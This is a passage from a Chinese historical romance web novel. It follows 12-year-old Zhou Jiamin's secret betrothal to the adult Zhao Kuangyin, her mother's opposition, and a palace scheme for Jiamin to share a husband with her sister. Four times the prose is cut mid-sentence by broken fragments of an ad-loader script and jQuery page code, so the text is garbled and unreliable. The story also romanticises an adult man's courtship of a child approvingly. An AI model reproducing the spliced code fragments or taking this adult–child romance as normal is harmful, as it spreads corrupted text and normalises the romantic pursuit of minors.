宫女大清早就准备水缸瓦瓮来接雨水,听说用这“梅水”泡的茶,李煜颇为喜欢,是以周娥皇宫中常备着。 好在李煜最近倒是每晚都宿在她宫中,晓镜梳妆,抚琴饮茶,几乎片刻不离。嘉敏瞧着安心,便出宫回家了。 因不知大女儿在宫中的情况,周夫人事无巨细向嘉敏打探,其它的还罢,偏偏那晚上撞见李煜和窅娘的亲昵的情形吞吐了好久才说出来。 “娘,我觉得怪怪的!”嘉敏皱眉,“姐夫待姐姐自是温柔体贴,可他是不是不该把那份温柔也给别人?” 周夫人倒是见怪不怪,叹气道:“窅娘是你姐夫的姬妾,她这么做倒也无可厚非!”说着把女儿搂在怀里,“嘉敏,这世上但凡有些身份地位的男人都是三妻四妾,身份越高妻妾就越多,乃是寻常之事。何况你姐夫将来是要当皇帝的,以后娶的姬妾只会更多,只是这事不该被你给撞见了。” 嘉敏听罢更是迷惑,甚至有些说不出的阴郁,连即将要和赵匡胤相见的欢快也冲淡了。 江南六月已入三伏,天气炎热。民俗多认为,若夏天太阳初升之时,云雾却迟迟不散,天气就会很闷热,称为“山糊海幔”。倘若在厚厚的云层里看到有云像细长的尾巴一样下垂,蜿蜒屈伸,称为“龙挂”。 山糊海幔,晒死老鹳。龙飞出云,雨止一方。这等天气还在长途跋涉的人,若非生活所迫,就是要事在身。 赵匡胤等人行伍出身,早习惯了风吹日晒倒也不觉得如何,更何况此番是来定亲的,自然也无人叫苦。中午炎热难当,便买些冰梅子、冰桃子来吃,提前两日到了金陵。 嘉敏一大早在水榭斗牌乘凉,她打小机敏,那叶子戏又比别人精通的多,不管是堂姐妹,还是侍婢们,斗了十局,竟无一人能赢她,乐的她早上随意挽的发髻也松了。 自己赢钱,罚别人喝酒,输家因不喜饮酒,被她撸起袖子给灌下去,振振有词地道:“这叫作愿赌服输!” 闺中游戏大多如此,她倒也没说错什么,只是这玩闹时的仪态着实有些不太成体统。 赵匡胤透过窗格看见她那副“女大王”的样子,禁不住笑出声,“嘉敏——” 甫一进门,嘉敏就从竹席上跳起来,窜到他怀里来大喊:“赵哥哥——赵哥哥——你来的这般快么,我还以为要晚两天!” 赵匡胤也不避讳,抱着她道:“我太想你了,所以走的快一些!” 昨晚入城,在客栈休憩一夜,今天早上才递了拜帖带着厚礼前来,周宗因早已将女儿许配,就许他自行来闺阁寻嘉敏。撞见她这般玩闹,可是开心的很。 只是话还没说上几句,周夫人就来了,见了这情形大惊失色道:“嘉敏——” 嘉敏这才松开赵匡 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 胤,一脸娇笑,“娘,赵哥哥来看我了!” 周夫人煞有介事地将她拉开几步,低斥道:“你都这么大了,还被这么多人看着,这个样子成何体统?”又皱着眉数落她的仪态,“看看你,头发乱七八糟,鞋子也没穿,袜子都掉到脚踝上去了……” 赵匡胤在一旁低笑,在他看来嘉敏这娇憨的模样可是十分可爱,可当着周夫人的面,自然也要识趣,笑道:“我去前厅陪伯父喝茶,等你梳好妆再出来。” “知道了!”嘉敏俏皮地做了个鬼脸,被母亲和侍女带下去好好梳妆打扮。 秋芙给她梳了一个绝美的飞仙髻,戴上金钗步摇,薄施脂粉,浅画翠眉,又披上一件碧色罗裙,端地是仙姿丽色顾盼生辉。 周夫人一看皱眉道:“你又不出门,打扮的这般漂亮做什么?” 嘉敏摆弄着头上的金钗步摇,也没回头瞧母亲一眼,脱口而出:“当然是给赵哥哥看了!我一年没见他,也不知道在他看来我是美是丑!” 秋芙掩嘴笑道:“我瞧那赵公子眼神极好,定然不会觉得小姐不够美!”不想竟被夫人横了一眼,慌忙低下头。 周夫人走上前谆谆教诲:“嘉敏,你去见他我不反对,可不许再搂搂抱抱了,他都是那么一个大男人了,也该知道避嫌才对!” 嘉敏听罢不乐,皱着鼻子娇声道:“搂搂抱抱怎么了?我小时候还天天和他睡在一起呢!有赵哥哥在,我睡的可香了,都不用怕有坏人来!” 周夫人气急,“你那时候才多大!以后这些话不要总是挂在嘴边,别忘了娘教过你的,女儿家的名节可是比性命还重要……” “好了好了,我知道了娘,你就别啰嗦了,不搂搂抱抱就是了!”嘉敏跑出门,又回过头一脸狡黠笑意:“我让他背我!” 跑去前厅,除了周宗和赵匡胤之外,石守信等六人竟然也在。嘉敏又惊又喜,一一见过诸位哥哥。 石守信呵呵笑道:“我们都是陪大哥来给嘉敏妹妹贺寿的,现在人和礼物都送来了,就先走一步,你和大哥好好聚聚,等到寿辰那日再登门拜访。” 周家自然是留客,可兄弟们谁也不想嘉敏还要分出心思照顾他们,毕竟她和赵匡胤这几年才见了两次面,比牛郎织女还辛苦,是以推说初次来金陵想好好逛逛,就全部走了。 送完客人嘉敏就转头问父亲,“爹爹,你和赵哥哥的茶喝完了没有啊!” 周宗哪里不知道女儿的心思,只叮嘱道:“匡胤长途跋涉而来,你可别闹着他又是逛街又是烧香的,让他好好休息休息!” 这些嘉敏自然也已想到,“我们就在水榭说说话,不出门的!”说罢牵起赵匡胤的手就跑去水榭,“赵哥哥,我院中开了一株并蒂莲花,可好看了,我带你去瞧!” “可真是个好兆头!”赵匡胤暗喜。 嘉敏不解,“什么好兆头?” “……”赵匡胤想着还是暂时保密的好,遂笑道:“就是吉祥如意欢喜和乐的意思。” 17.飞燕合德 双花并蒂,吉祥如意,的确是个好兆头! 周宗乐呵呵地捋着胡须,越看越觉得女儿和赵匡胤很是般配,虽说嫁去北地可能太过遥远了些,然则想起陈抟老祖留下的预言,便也不觉得有什么,心下还是欢喜的多。 此时周夫人急匆匆赶来道:“老爷,宫里传来消息,娥皇病重,皇后娘娘召我们即刻进宫探望!” 周宗登时心下一凛,连官服也没来得及穿,就跟着夫人一起去了。 “要不要把嘉敏也带去?”周夫人提议。 周宗皱眉道:“匡胤来了,嘉敏正在招待他,下次再带吧!” “那赵匡胤他……”周夫人心有顾虑,这么多年过去了,她对赵匡胤往日的救助之恩已经淡薄,眼下更顾虑女儿的名节,自然不愿单独留她在家。 可周宗连婚书都已经签了,当然不会有这些考量,大声道:“匡胤光明磊落,他不会伤害嘉敏的,眼下娥皇的事才重要,别瞎耽误功夫了!” 周夫人在催促之下不情不愿地离开家,到了宫中探过女儿,说了许多宽心的话,却也不敢多扰她休息,待了一个时辰就离开了。 宫人又传话说皇后有请,夫妇二人又慌忙去拜见。 钟氏皇后笑意雍容地接待二人,看着他们问:“今日没将嘉敏一起带来么?哀家好久不见她,可是甚为想念!” 周夫人笑道:“嘉敏顽劣,臣妇生怕她在宫中又惹出什么祸端,就锁在家里禁足了。” 钟皇后面色一沉嗔道:“这话哀家可不爱听!嘉敏年少,自然活泼可爱些,哪里就惹了什么祸事?你二老是不是怕哀家已经要了你们一个女儿做媳妇,还想把第二个也要走,所以才锁起来不让她进宫来?” 周宗心道“不好”,面上却不动声色,和夫人一起摇头说不敢。 “那下次就把她带来。”钟皇后脸色和缓,幽幽道:“别说是哀家,连从嘉也甚是想她!” 周宗大惊,失声道:“皇后娘娘……” 钟皇后扶额叹息,“娥皇的情况想必二老也清楚,这孩子貌美聪慧,甚得从嘉疼爱。可宫闱之中,若无人守望相护,专宠就是道催命符,周家再无人进宫来襄助娥皇,哀家怕她撑不了多久!哀家的意思,莫如效仿飞燕合德,不知二老意下如何?” “飞燕……合德……”周宗脸色惨白,这才明白皇后打的什么主意,离席仓皇下拜道:“皇后娘娘,嘉敏年纪尚小,谈婚论嫁为时过早。再则娥皇病重,若给她知道了,只怕……只怕……” 连周夫人也慌了,她原本以为皇后是想将嘉敏嫁给韩王,哪里料到是让姐妹二人共侍一夫的意思。 钟氏皇后瞧这二老的神色,心知此事不宜操之过急,笑道:“哀家只是这般提议,没有迫你们把嘉敏嫁进来的意思。不过自打从嘉上次见了她,就一直念念不忘,做母亲的为儿子谋划,才多说了两句。” 周夫人赔笑道:“臣妾二人也不是真的要违逆皇后娘娘的意思,只是这家里的孩子嘉敏一直最受老爷宠爱,况且年岁确实小了些,不如等过两年再提此事?” 钟皇后微笑颔首:“那便过两年再说吧!” 这皇后宫里的茶真是越来越难吃了,夫妇二人甚至连看一眼外孙的心情都没有匆匆回家去。 刚到前厅周夫人就开始对丈夫发起牢骚:“老爷,刚才当着皇后娘娘的面,你那副样子也太不应该了,教她看在眼里还以为连将来的国主也配不上咱们的宝贝嘉敏,这如何使得?” 周宗冷哼一声,“如此使不得,那她一个儿子要了我大女儿,还想要我小女儿就使得了?什么飞燕合德,拿两个下等舞姬和我的千金娇女相比,简直荒唐!两姊妹共侍一夫,即便她儿子是将来的国主又如何,我周家的脸面难道就这么不值钱吗?” 周夫人也觉得有些不妥,问道:“既然老爷不愿,皇后那边该如何交代?” 周宗憋着一股气沉声道:“不必交代,过两日我进宫见国主,就说嘉敏早已经许了人家,请他劝皇后打消念头。看在我辛劳半生的份上,这点小事国主大约也是会答应我的。” 周夫人大骇,“可嘉敏何时许了人家?老爷,你这不是欺君么?” “不是欺君,两个月前,我将嘉敏许配给匡胤了!”周宗淡淡道。 他刚赶回家,还没来得及把婚书给夫人看,就发生了这许多事,而今也只庆幸这婚书签的够及时,否则怕是连嘉敏也要折在宫里了。 “听皇后的意思,是太子对嘉敏念念不忘,他是何时见到嘉敏的?”周宗狐疑。 周夫人却已经不理会丈夫的问责了,反是一脸怒容,“你刚才说……把嘉敏许给谁了?” 周宗不解她为何突然色厉内荏,“匡胤啊!他今天还带了厚礼来当作订亲之用,我这忙的忘了告诉你了,不过现在说应该也不算晚。” 周夫人气的说不出话,“你……你……女儿的终身大事,你不跟我商量就自己做决定么?” 周宗皱眉道:“我跟你商量过,可你整天就想着让嘉敏像娥皇一样嫁一个王爷什么的,我跟你说过嘉敏不喜欢,你也充耳不闻。她小时候遭了那么大的罪,如果不是匡胤,哪里还能回来给我们当女儿?单凭这份恩情,我将她许配也不为过。何况嘉敏喜欢匡胤,你这当娘的不知道啊?而且匡胤待嘉敏也是一心一意,这等天赐的姻缘,合该成全才对,你不满意吗夫人?” 周夫人怒吼:“不满意!我当然不满意……” “不满意也住嘴!”周宗厉喝,他无法对一个妇人说出陈抟老祖的预言,只能粗暴压制,“匡胤是我选定的女婿,今日他带着诚意来府上订亲,由不得你这般撒泼。我早说过不让你把嘉敏带进宫去,现在惹出了这桩事我也不跟你计较,可若这几天你不知进退,给匡胤难堪,可别怪我不给你脸面。此事已成定局,希望夫人你莫要再多生事端!” 周夫人大骇,这么多年丈夫从未如此疾言厉色斥责过她。 她膝下只生了两个女儿,唯一的儿子周宏乃是妾室所出,寄在她名下,一直与她并不亲近,所能依仗者只有两个女儿。 大女儿虽然是未来的皇后,可身体羸弱多病,连宫人都在背地里议论非长寿之相;而小女儿娇婉可爱,乖巧贴心,计划着嫁个王爷也不错。 现在皇后给了第二条路,虽说脸面上不太好看,可前途无量,由不得她不心动。只是想不通这一家之主竟会用另一番计划毁了她的盘算。 “老爷,我给你做了这么多年夫人,你如今为了一个外人这般斥责我!”周夫人满脸悲愤怒吼:“我是嘉敏的娘 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' !难道我就没有权力决定她的未来吗?我没有吗?” 周宗知是伤了夫人的心,上前抓她的手臂想要赔礼规劝,却被一把摔开。 “我的宝贝女儿,凭什么你说给谁就给谁?”周夫人冷着脸道:“我现在就去找嘉敏,问一问她是要我这个娘,还是要赵匡胤!我就不信在她的心里,养了她十一年的亲娘还比不上一个照顾了她一年的男人!”说罢拂袖朝嘉敏的水榭而去。 这半日嘉敏一直和赵匡胤玩闹在一起,她的闺阁装饰很是雅致,有不少供花,香气馥郁,在北地很难见到。 “江南六月城中会开珠兰茉莉花市,这些花都是从广南地区运来的。可以买来戴在头上,也可以像这样折枝放在水瓶中赏玩。娘很少许我出门,我就把钱放在吊篮里送下去从花贩手里买来。”嘉敏一边说着这些瓶花的来历,带赵匡胤在水榭边的竹席上坐下,拿江南的各色花糕酒酿给他尝。 江南的糕点颜色可爱,味道也绵软清甜,再配上桂花酒酿,端地别有一番滋味。 “我们金陵的女孩儿家大多爱拿些鲜花来做糖糕和酒酿之类的,春天摘玫瑰,夏天采荷花,秋天多以桂花入馔,冬天的梅花也可蒸饼做鱼脍,这些我都会,以后可以经常做来给赵哥哥吃。”嘉敏把这些年自己学来的本领说给他听,好令他对自己刮目相看,只是她尚且天真烂漫,并不知道“以后”两个字究竟是什么意思。 有几次赵匡胤的话到了嘴边,还是忍住不说,深恐嘉敏知道了以后,会认为自己对她有别样的企图,就不能像现在这样心无挂碍地开心相对,只能意味深长地道:“那你可要记得今天说过的话,倘若以后赖账我可不依!” 嘉敏笑吟吟地道:“不会了!我学这些的时候满心都在念着赵哥哥,阮娘说正是因为我心里有思念的人,做出来的糕点味道才和别人的不一样,更绵软也更清甜。” 阮娘是秋芙的娘,也是周府厨房的女管事。 赵匡胤每每被她的言语所动,一阵阵发呆,嘉敏以为他是无聊,小声问:“是不是坐着太闷了?” 不待对方回答,起身取来钓具,招手唤道:“赵哥哥,我们来钓鱼好不好?素日爹爹总念我没耐心,才不曾有鱼儿上钩。今天如果钓到了,我就请阮娘做她最拿手的鱼脍来当午膳。” 钓具只有一副,赵匡胤也不曾多犹豫,站在嘉敏身后,握住她的手把钓钩甩进水里。 他很少垂钓,却也知道钓鱼者必是心定人静,似嘉敏这般扭来扭去不停讲话定然不成,可原本也只是陪着她游戏,是以很不在意结果。 “真是的,明明已经咬钩,还是跑了!”钓了半个时辰一无所获,嘉敏闷闷不乐。 赵匡胤笑着哄道:“我听到那条鱼刚才在小声说:‘嘉敏,求求你不要吃掉我!’你一定是听到了,觉得它太可怜,所以就手滑放掉了!” 嘉敏被他逗的大乐,问:“那上一条呢?” “上一条啊!”赵匡胤思绪略动,“上一条鱼因为抬头看见你这般美,就忘了咬钩,匆忙藏起来了。” 这番说辞是将她比作西施了,嘉敏一怔,问道:“赵哥哥,我美么?”说罢仰头看他。 赵匡胤点头,猝不及防间嘴唇碰触到她的额头,唇齿间轻巧地溢出一个字:“美——” 18.翡翠群飞 骄阳似火,芰荷摇香,飘渺的箫鼓声越过围墙传进来,不知是哪家的女儿披红装出嫁,吹吹打打的很是热闹。 周夫人远远看着女儿和赵匡胤依偎在一处,纵是脉脉娇羞,眉间心上却已无法藏住那含蓄的柔情。 或许时间已经让她忘了自己也曾是这般少女姿态,可作为母亲,她又是否真的能狠下心肠陷女儿于两难? “含桃已中食,郎赠合欢扇。深感同心意,兰室期相见。”身后的周宗幽幽道:“夫人,记得你我刚成婚之时,我由于经常外放,一年之中能相聚的时日不多。可你我感情甚笃,每次看到你盼我回家的书信,我便夜不能寐,只想快些把差事办完好回到你身边来。这些年虽然时有争吵,可也算得上是琴瑟和谐相敬如宾。人之一生不过春秋几十载,夫妻相伴的日子占了一大部分,倘若两个人之间没有真挚的感情,那悠长的岁月便只会是一种残酷折磨。我们的女儿这般乖巧柔弱,若不能嫁给一个真心疼爱她的夫君,她以后能得到幸福吗?” 听夫君提及过往,周夫人不免有些动容,却道:“老爷既然知道嘉敏柔弱,赵匡胤出身行伍,如何能懂得疼爱她?我看还是从嘉文雅多情,更教我放心!” 周宗叹息道:“多情的郎君岂是良配?我不过是娶了一房姬妾,你已与我疏离这么多年,从嘉宫里养着多少你是不知道么?” 周夫人辩驳道:“就算如此,你又如何肯定赵匡胤将来不会纳妾?说不定他娶的更多!” “此事我和匡胤提过,他已经答应我将来绝不会纳妾,他的话我信的过。”周宗淡淡道:“夫人,这天下间的男人或重色欲,或重情义,咱那大女婿其实是前者,如果我连匡胤都信不过,那就更加不会信任从嘉。无论如何,我绝不答应把嘉敏嫁给他,我绝对不允许他把嘉敏变成第二个娥皇!” 想到娥皇的处境,周夫人便无法再固执己见,暂时压下了去找女儿分说的想法,随着周宗回房去了。 虽然没有钓到鱼,可午膳还是吃到了阮娘做的鱼脍,且是两个人单独在嘉敏阁中用的膳,说是老爷夫人吩咐的,好令他们多些时间相处。 周家有单独为赵匡胤准备的客房,他晚上倒不必回去客栈。 商量好了明日去游荷花荡,赵匡胤很早就起床,经过嘉敏的闺房,见窗户开着,秋芙正在帮她理晓妆。 盘成灵蛇的发髻婉娈可爱,额上贴着芙蓉花钿,翠环珠钗摇曳生辉。 刚打扮好,养的那只叫“粉团儿”的猫突然跳上梳妆台,打翻了胭脂盒。嘉敏伸手去抓,十个手指头上全染了色,猫却没抓到,皱着眉头有些气恼。 立在窗前的赵匡胤禁不住笑出声,惊动了闺阁里的人。 秋芙慌忙走过来将窗子关上,回头抱怨道:“赵公子也忒随便了些,小姐衣裳还没有穿好,怎能叫他看了去?若是给夫人知道了,又要挨一顿责骂!” 嘉敏却不以为意淡淡道:“若是旁人自然不成,可给赵哥哥看到又有什么打紧!”说罢又将窗子打开,娇声道:“赵哥哥,等我一会儿,很快就好!”复又关上窗子,准备将手洗干净了披上衣裳快些出门去。 秋芙见她这般做派,禁不住问道:“小姐,素日也没见你对任何一个公卿豪族家的公子哥这么上心,单这赵公子你是早也念晚也念,现在还把他和别的人分开而论,难不成你以后还想嫁给他?” 嘉敏脸一红,伸出自己被染红的爪子恶狠狠地威胁:“你再胡说——再胡说我把你变成个花猫脸,叫你今天出不了门!”说罢就朝秋芙脸上抹去。 秋芙一边闪避一边笑道:“小姐……小姐饶命……奴婢再不敢了……你昨天答应过带奴婢去南塘消暑吃冰西瓜的……” 六月天荷花盛开,西洲城的荷花荡里飘着无数用彩灯装饰的画舫,有文人雅士的聚会,也有游女歌舞弹唱,瓜果和酒都泡在河水里,消暑纳凉再好不过。 周家的画舫隐在其间并不显眼,只是热闹的地方待久了也无趣,嘉敏就命船夫将船划远了些,安安静静听赵匡胤抚琴,将远处的喧闹尽抛脑后。 赵匡胤对诗书琴艺并不精研,只是今日景致甚好,再有嘉敏软语央求,就随意抚了一曲。 其实他的琴技并不差,可以说和骑射的本领不相上下。 连秋芙一个丫鬟也听的出来,刚才那些公子千金的献艺在赵匡胤面前简直是贻笑大方,心里琢磨着如此一个丰神俊秀英华内敛的少年郎,大约是少不了爱慕他的多情美人,遂笑嘻嘻地问:“赵公子,在北朝似你这般有身份地位的公子是不是早已婚配或者已有婚约?” 嘉敏诧异地抬眼,她倒还从未想过此节。 “我尚未婚配!”赵匡胤思忖着回答:“这些年一直戎马倥偬,除了嘉敏以外,也不认得什么名门闺秀或者小家碧玉,大约成婚还要再过几年。” 这番话倒也算说的够清楚,秋芙替嘉敏松了口气,念头一转又道:“我家小姐素日最爱《江南曲》,不知赵公子可会弹奏?” 嘉敏嗔道:“秋芙,你想什么呢?赵哥哥只怕是从未弹过《江南曲》,可能都没听过,不必为难他了。” 秋芙掩嘴笑道:“那曲子好学,左右无事,小姐教一教就是了呗!”说罢自下去准备一些简单的饭食当午膳。 船舱里又只剩下两个人,赵匡胤牵着嘉敏的手令她坐在自己身侧,嘉敏就在瑶琴上拨弄起来。 《江南曲》婉约清丽,并不复杂,只是回环往复,恍似柔肠百转,道不尽相思之意。 赵匡胤学的极快,只是他的指法不似嘉敏那般灵活婉转,沉着之中带着含蓄,合奏之时一刚一柔,一张一弛,甚为悦耳动听。秋芙守着煮沸的莲子羹,一时竟忘了熄火。 莲子羹芳香清凉,再配上一碟翡翠芙蓉糕和冰镇水果,大半天时光都在船上消磨。 傍晚却下起了暴雨,嘉敏牵着赵匡胤在雨里走,还学着行人的模样打起了赤脚。 她的脚生的玲珑可爱,踩起水珠似花一般飞溅,端地一副天真无邪 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 小女孩儿姿态。 赵匡胤一时有些失神,本想给嘉敏过完生辰以后就告诉她已经订下婚约的事,可又害怕在嘉敏的心里自己一直都是她的大哥哥,突然变成了未婚夫婿,会令其无所适从。犹疑半晌,还是决定不说。 生辰当天,兄弟们把赵匡胤准备给嘉敏的礼物都带了来,除了碧玉簪琥珀串芙蓉锦琉璃盏以外,还有不少异域奇珍,诸如玫瑰露郁金香之类,全是女儿家喜爱之物。 周宗乐呵呵的示意嘉敏照单全收,自己也递出一个锦盒给女儿:“嘉敏,这是爹和娘给你准备的,你看看喜不喜欢?” 盒子里是一个文饰灿然的九鸾钗,这等稀世之宝金陵贵女之中怕是不会有第二支。 嘉敏心下暗喜,谢过爹娘,周宗拍拍她的手背,又对赵匡胤道:“匡胤,听说你工于琴技,我正好有一件祖传的名琴,名为‘凤鸣’,今日便将它赠予你,你可不要拒绝!” 周夫人一听脸色大变,那凤鸣琴是周家传了几百年的宝贝,平日里连儿子周宏也难得一见,如今竟然直接当作礼物送出去,真是出人意料。 赵匡胤心思转的极快,凤鸣琴九鸾钗分别送给自己和嘉敏,乃是取鸾凤和鸣之意,主日后夫妻和顺,自然不能拒绝。 那琴此刻就陈在他面前,古朴雅致,见之忘俗。 周宗抬手道:“可否奏一段江南音,好让嘉敏为你舞上一曲?” 赵匡胤尚未来得及答话,兄弟们已经大声叫好,他一时心有所感,就拨弄起了昨日在游船上和嘉敏一起弹奏的《江南曲》。 周宗捻须,合着琴音悠悠吟道:“朱光灼烁照佳人,含情送意遥相亲。嫣然一转乱心神,非子之故欲谁因。翡翠群飞飞不息,愿在云间长比翼。佩服瑶草驻容色,舜日尧年欢无极。” 公子琴音,儒者清吟,和嘉敏柔丽的舞姿交织在一起,乐章回环,罗衣舞袖翩飞如云,满院绚丽的花朵也只成了嘉敏的陪衬。 豆蔻梢头二月初的少女便是这般惹人怜爱,却还没有完全长大。 赵匡胤不觉暗自苦笑——这时光可真有些恼人! 短短三日相聚,过后又是一场告别,好在嘉敏已不是当初那个哭哭啼啼的小女孩儿,两人约定以三年为期,再见之日便会长聚。 只是他走后嘉敏就一直闷在房间里不出来,也不去和女伴游嬉,茶饭不思独自发呆。 秋芙见膳食都冷了,摇着头叹息道:“小姐,这赵公子都已经走了半天了,你这样只是想他就能想饱么?” 嘉敏皱眉道:“秋芙,你不明白,这许多年,我和赵哥哥聚少离多,几年才见上一面,每次也都是匆匆忙忙的。当着他的面我又不能哭,回来了总可以难过一阵吧。” “哎呦我的小姐,你们大哥哥小妹妹的都过了这么多年,他在汴京,你在金陵,几年能见一次不错了。”秋芙狡黠地眨眨眼,“再说了,赵公子不是又和你定了三年之约吗?三年后你嫁他为妻,就再也不用分离了,你说是不是?” 19.彩笔锦书 兰闺戏语纵无太多忌讳,可也实在太轻佻了些。 嘉敏大吃一惊,红着脸骂道:“你这丫头,怎地这般没规矩,编排起这等闲话来?倘若给娘听去了,我免不了又要挨一顿骂,到时候你替我受着么?” “小姐莫急,听我慢慢说!”秋芙年纪要大上几岁,又是旁观者,许多事情自然也看的更清楚些,循循善诱问道:“依小姐看老爷是不是很喜欢赵公子?” “这是自然!爹爹素日总是赞扬赵哥哥侠骨柔肠文韬武略,是天下一等一的英雄豪杰,这些话他可没有形容过第二个人。”嘉敏满心欢喜,认为父亲的评价甚为中肯。 秋芙笑道:“怕不止是如此吧!那凤鸣琴乃是周家的传家之宝,连大小姐也没让碰过几次,大少爷更是见都很少见,今日老爷竟把它送给了赵公子,小姐难道不解其中的意思么?” 嘉敏登觉迷惑,想着大约是赵匡胤送了她那么多的奇珍异宝,爹爹才把传家宝拿出来当回礼,可这也不大说的过去,毕竟周家也不是送不起贵重礼物的人家。 “小姐,你还不明白吗?”秋芙柔柔地道:“九鸾钗凤鸣琴,鸾凤和鸣比翼双飞,亲儿子都不舍得给的东西,除非是送给亲女婿,老爷这是许婚之意,也就你还蒙在鼓里!” 藏在心底的疑惑就这般突然解开了,嘉敏怔然无语,半晌固执地摇头道:“你不要乱猜,若真如此,爹爹和赵哥哥怎会不告诉我?” 秋芙无奈叹气:“赵公子已经说了,小姐没听明白而已!三年后小姐也有十五岁了,就算尚未出阁,也不能再像现在这样随意和他一个血气方刚的男子见面。赵公子也是世家出身,不会连这般浅显的道理都不懂。除非他没打算一直将你当作小妹子看待,而是想要求娶,不然何来与你长聚一说?” 嘉敏心里直打鼓,颤声道:“秋芙,你说的这些都是猜测,说不定……说不定……赵哥哥并无此心,你会错意了!” 她对婚嫁之事尚自茫然,也无法确知赵匡胤的心意,更何况一个闺中女儿怎好去痴想姻缘,板着脸道:“以后莫要再提起这些了,传出去白白的惹人笑话。” “如何能不提?”秋芙急得跺脚:“难道小姐自己不知道么,夫人这些日子常进宫,听说皇后娘娘意欲将你嫁给某一位王爷当王妃,是老爷没有点头,此事才暂且按下。你如今还这般糊涂,难道是想舍了你的赵哥哥,去给哪位王爷当王妃么?” 嘉敏惊骇,身体一僵,直接坐倒在竹榻上,喃喃道:“怎会有此事?” 秋芙又是摇头叹息:“连府上的下人都知道你和大小姐一样,自小是被夫人当成储妃来养的,小姐今日生辰,皇后娘娘还送来了贺礼,这其中的意思怕是不言而喻。奴婢是瞧着小姐已经有了心上人,还这般茫然不自知,难免替你忧心,这才多了几句嘴。小姐,你不妨自己想想,是想嫁赵公子,还是想嫁某位王爷?” 嘉敏咬着嘴唇用力摇头,心绪烦乱不已,大声道:“我不喜欢宫里的王爷,不想嫁给他们任何一个人!姐夫……姐夫答应过我,若我不喜欢,就可以不嫁……” 秋芙见惊到了她,慌忙道:“好了好了小姐,你不要害怕,你将来定是嫁给赵公子的,他那般宠爱你,定不教你受委屈,你不要再胡思乱想了!” 嘉敏茫然失措,半晌喃喃道:“赵哥哥……会娶我么?” 赵匡胤一个北朝大将军,如她这般的江南娇女又怎会是良配? 水榭的凉风吹进来,嘉敏眉头深锁,满脸尽是愁容,更加茶饭不思。 周宗隔着帘帐瞧了一眼,多半已猜出这小儿女的心思,大笑了两声走进来,“这个匡胤也真是的,刚走了半日就托人从扬州送来糕点,说记得你以前爱吃。不就是荷花酥吗?府上随便就能做出许多,我都懒得拿过来了!” 嘉敏听罢嗔道:“爹爹怎可如此,府上做的和赵哥哥买给我的哪里能一样?” 周宗一脸促狭,反问女儿:“哦,是模样不一样,还是味道不一样,爹怎么看不出来?” 嘉敏一张俏脸通红,低着头小声道:“就是不一样嘛!” 秋芙将仆婢手中的糕点接过来趁机道:“只是分别了半日,赵公子就这般惦念小姐,正好小姐还没用午膳,不如就吃这个吧,赵公子送的自然香甜些!” “哦,还没用午膳?”周宗皱眉道:“爹爹本还有事告诉你,既然你这般愁闷,就算了吧!” 女孩儿家好奇心盛,当下拉着父亲的衣袖跺脚道:“爹爹怎么说话只说一半呢?女儿并非愁闷,只是舍不得和赵哥哥分离罢了!” 周宗斜睨她,清了清喉咙道:“几个月前匡胤向我提亲,意欲求娶你,我琢磨着他是北朝人,你嫁过去多有不便,就拒绝了!” 嘉敏花容失色,连连后退几步,一时惊讶地说不出话。 秋芙也急了,嚷道:“老爷,你怎么给拒了呢?难道你也像夫人一样,打算将小姐嫁进宫里去当王妃么?可小姐不喜欢啊,你明明是最知道她的!” 周宗冷哼一声道:“我家的宝贝女儿是谁想娶就娶的么?莫说是他赵匡胤,就算是大周的皇帝来了,我也照拒不误。”看着嘉敏煞白的小脸又数落道:“这个匡胤也真不像话,我女儿才十二岁,哪里就能嫁为人妇?所以我让他等三年之后再来,眼下只是签了封婚书订亲了而已!” 这一波三折的说辞直把嘉敏主仆给听懵了,半晌才醒悟过来并未拒绝,而赵匡胤的三年之约果然意味深长,下次见面便是直接来娶亲。 想来女儿乍闻了此事,定有诸多心思难以安宁,周宗朗声道:“嘉敏,匡胤对你有年少救助之恩,又有如今的真切情意,将你嫁给他,爹爹放心!”说罢又仰头大笑着离去。 虽说这些年嘉敏与赵匡胤之间早已暗生情愫,可突然间被许了婚也很是惊诧错愕,茶饭不思之余又开始坐立不安,直折腾到太阳落山也没个消停。 秋芙无奈规劝道:“小姐, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 你这究竟是想嫁给赵公子,还是不愿意呢?如果不愿,去和老爷说明白,他自会想办法退了这门亲,不必你在这里忧心忡忡,好像天要塌下来似的。” 嘉敏幽幽道:“爹爹将我许给了赵哥哥,我自然是愿意的。”说罢低下头,一张俏脸绯红,显得益发楚楚动人,“可总归不是赵哥哥亲口告诉我的,我又怎能确定他与我是一般心思?” 秋芙想了片刻,走到书案旁开始研磨,缓缓道:“我听老爷说赵公子眼下因军务在扬州盘桓,如若小姐无法确知赵公子的心意,何不写封书信于他,也好问清楚?” 嘉敏蹙眉,思量片刻将自己随身的丝帕取下,提笔在上面写下一首诗文。 她自幼习的是魏夫人的簪花小楷,字体清丽隽秀,秋芙看不大懂,却也知道此法比写信更教人心动的多。 扬州距离金陵路途不远,丝帕到晚上就送到了。 赵匡胤展开一看,借着月光幽幽吟诵出来:“叶下洞庭初,思君万里余。露浓香被冷,月落锦屏虚。欲奏江南曲,贪封蓟北书。书中无别意,惟怅久离居。” 辞曲纵然温婉,思念之情却藏不住。 想来是嘉敏已经知道了订亲之事,这才有所回应。只怕她今晚也像自己一样夜不能寐,独自徘徊于风露之下,焦急地等着他的回信。 赵匡胤转身回房,提笔便要写回信,可却一字未落,只觉书信已经无法将心绪说出来,思虑片刻连夜骑马回转金陵。 此时此刻,送出了丝帕的嘉敏也自彻夜难眠,躲在罗衾里暗自后悔白天的冲动举动,那辞曲的表达着实直白了些,也不知道赵匡胤看后会不会笑她。 纵然这些年他们之间情谊颇深,可多半也是因幼时的那段经历留下的记忆太过深刻,如果他一直拿自己当小妹子看,又哪里会生出与自己一般的缠绵情愫来? 越想越觉懊恼,半夜告诉秋芙天亮以后要去鸡鸣寺烧第一炷香,希望菩萨保佑自己的这番心绪能得到一个好的结果——自己或许不想一直都当他的小妹子吧! 